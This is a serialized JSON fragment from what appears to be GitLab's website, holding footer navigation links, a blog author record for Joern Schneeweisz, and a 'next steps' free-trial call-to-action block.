platform",[513],{"title":202,"links":514},[515,519,524],{"text":516,"config":517},"View plans",{"href":204,"dataGaName":518,"dataGaLocation":489},"view plans",{"text":520,"config":521},"Why Premium?",{"href":522,"dataGaName":523,"dataGaLocation":489},"/pricing/premium/","why premium",{"text":525,"config":526},"Why Ultimate?",{"href":527,"dataGaName":528,"dataGaLocation":489},"/pricing/ultimate/","why ultimate",{"title":530,"links":531},"Solutions",[532,537,539,541,546,551,555,558,562,567,569,572,575,580],{"text":533,"config":534},"Digital transformation",{"href":535,"dataGaName":536,"dataGaLocation":489},"/topics/digital-transformation/","digital transformation",{"text":148,"config":538},{"href":150,"dataGaName":148,"dataGaLocation":489},{"text":137,"config":540},{"href":119,"dataGaName":120,"dataGaLocation":489},{"text":542,"config":543},"Agile development",{"href":544,"dataGaName":545,"dataGaLocation":489},"/solutions/agile-delivery/","agile delivery",{"text":547,"config":548},"Cloud transformation",{"href":549,"dataGaName":550,"dataGaLocation":489},"/topics/cloud-native/","cloud transformation",{"text":552,"config":553},"SCM",{"href":133,"dataGaName":554,"dataGaLocation":489},"source code management",{"text":123,"config":556},{"href":125,"dataGaName":557,"dataGaLocation":489},"continuous integration & delivery",{"text":559,"config":560},"Value stream management",{"href":177,"dataGaName":561,"dataGaLocation":489},"value stream management",{"text":563,"config":564},"GitOps",{"href":565,"dataGaName":566,"dataGaLocation":489},"/solutions/gitops/","gitops",{"text":187,"config":568},{"href":189,"dataGaName":190,"dataGaLocation":489},{"text":570,"config":571},"Small business",{"href":194,"dataGaName":195,"dataGaLocation":489},{"text":573,"config":574},"Public sector",{"href":199,"dataGaName":200,"dataGaLocation":489},{"text":576,"config":577},"Education",{"href":578,"dataGaName":579,"dataGaLocation":489},"/solutions/education/","education",{"text":581,"config":582},"Financial services",{"href":583,"dataGaName":584,"dataGaLocation":489},"/solutions/finance/","financial services",{"title":207,"links":586},[587,589,591,593,596,598,600,602,604,606,608,610,612],{"text":219,"config":588},{"href":221,"dataGaName":222,"dataGaLocation":489},{"text":224,"config":590},{"href":226,"dataGaName":227,"dataGaLocation":489},{"text":229,"config":592},{"href":231,"dataGaName":232,"dataGaLocation":489},{"text":234,"config":594},{"href":236,"dataGaName":595,"dataGaLocation":489},"docs",{"text":257,"config":597},{"href":259,"dataGaName":5,"dataGaLocation":489},{"text":252,"config":599},{"href":254,"dataGaName":255,"dataGaLocation":489},{"text":261,"config":601},{"href":263,"dataGaName":264,"dataGaLocation":489},{"text":274,"config":603},{"href":276,"dataGaName":277,"dataGaLocation":489},{"text":266,"config":605},{"href":268,"dataGaName":269,"dataGaLocation":489},{"text":279,"config":607},{"href":281,"dataGaName":282,"dataGaLocation":489},{"text":284,"config":609},{"href":286,"dataGaName":287,"dataGaLocation":489},{"text":289,"config":611},{"href":291,"dataGaName":292,"dataGaLocation":489},{"text":294,"config":613},{"href":296,"dataGaName":297,"dataGaLocation":489},{"title":312,"links":615},[616,618,620,622,624,626,628,632,637,639,641,643],{"text":319,"config":617},{"href":321,"dataGaName":314,"dataGaLocation":489},{"text":324,"config":619},{"href":326,"dataGaName":327,"dataGaLocation":489},{"text":332,"config":621},{"href":334,"dataGaName":335,"dataGaLocation":489},{"text":337,"config":623},{"href":339,"dataGaName":340,"dataGaLocation":489},{"text":342,"config":625},{"href":344,"dataGaName":345,"dataGaLocation":489},{"text":347,"config":627},{"href":349,"dataGaName":350,"dataGaLocation":489},{"text":629,"config":630},"Sustainability",{"href":631,"dataGaName":629,"dataGaLocation":489},"/sustainability/",{"text":633,"config":634},"Diversity, inclusion and belonging (DIB)",{"href":635,"dataGaName":636,"dataGaLocation":489},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":352,"config":638},{"href":354,"dataGaName":355,"dataGaLocation":489},{"text":362,"config":640},{"href":364,"dataGaName":365,"dataGaLocation":489},{"text":367,"config":642},{"href":369,"dataGaName":370,"dataGaLocation":489},{"text":644,"config":645},"Modern Slavery Transparency Statement",{"href":646,"dataGaName":647,"dataGaLocation":489},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":649,"links":650},"Contact Us",[651,654,656,658,663,668,673],{"text":652,"config":653},"Contact an expert",{"href":51,"dataGaName":52,"dataGaLocation":489},{"text":381,"config":655},{"href":383,"dataGaName":384,"dataGaLocation":489},{"text":386,"config":657},{"href":388,"dataGaName":389,"dataGaLocation":489},{"text":659,"config":660},"Status",{"href":661,"dataGaName":662,"dataGaLocation":489},"https://status.gitlab.com/","status",{"text":664,"config":665},"Terms of use",{"href":666,"dataGaName":667,"dataGaLocation":489},"/terms/","terms of use",{"text":669,"config":670},"Privacy statement",{"href":671,"dataGaName":672,"dataGaLocation":489},"/privacy/","privacy statement",{"text":674,"config":675},"Cookie preferences",{"dataGaName":676,"dataGaLocation":489,"id":677,"isOneTrustButton":105},"cookie preferences","ot-sdk-btn",{"items":679},[680,682,684],{"text":664,"config":681},{"href":666,"dataGaName":667,"dataGaLocation":489},{"text":669,"config":683},{"href":671,"dataGaName":672,"dataGaLocation":489},{"text":674,"config":685},{"dataGaName":676,"dataGaLocation":489,"id":677,"isOneTrustButton":105},"content:shared:en-us:main-footer.yml","Main Footer","shared/en-us/main-footer.yml","shared/en-us/main-footer",[691],{"_path":692,"_dir":693,"_draft":6,"_partial":6,"_locale":7,"content":694,"config":698,"_id":700,"_type":28,"title":19,"_source":30,"_file":701,"_stem":702,"_extension":33},"/en-us/blog/authors/joern-schneeweisz","authors",{"name":19,"config":695},{"headshot":696,"ctfId":697},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679144/Blog/Author%20Headshots/joernchen-headshot.png","joernchen",{"template":699},"BlogAuthor","content:en-us:blog:authors:joern-schneeweisz.yml","en-us/blog/authors/joern-schneeweisz.yml","en-us/blog/authors/joern-schneeweisz",{"_path":704,"_dir":36,"_draft":6,"_partial":6,"_locale":7,"header":705,"eyebrow":706,"blurb":707,"button":708,"secondaryButton":712,"_id":714,"_type":28,"title":715,"_source":30,"_file":716,"_stem":717,"_extension":33},"/shared/en-us/next-steps","Start shipping better software faster","50%+ of the Fortune 100 trust GitLab","See what your team can do with the intelligent\n\n\nDevSecOps platform.\n",{"text":44,"config":709},{"href":710,"dataGaName":47,"dataGaLocation":711},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":49,"config":713},{"href":51,"dataGaName":52,"dataGaLocation":711},"content:shared:en-us:next-steps.yml","Next Steps","shared/en-us/next-steps.yml","shared/en-us/next-steps",1758662328481]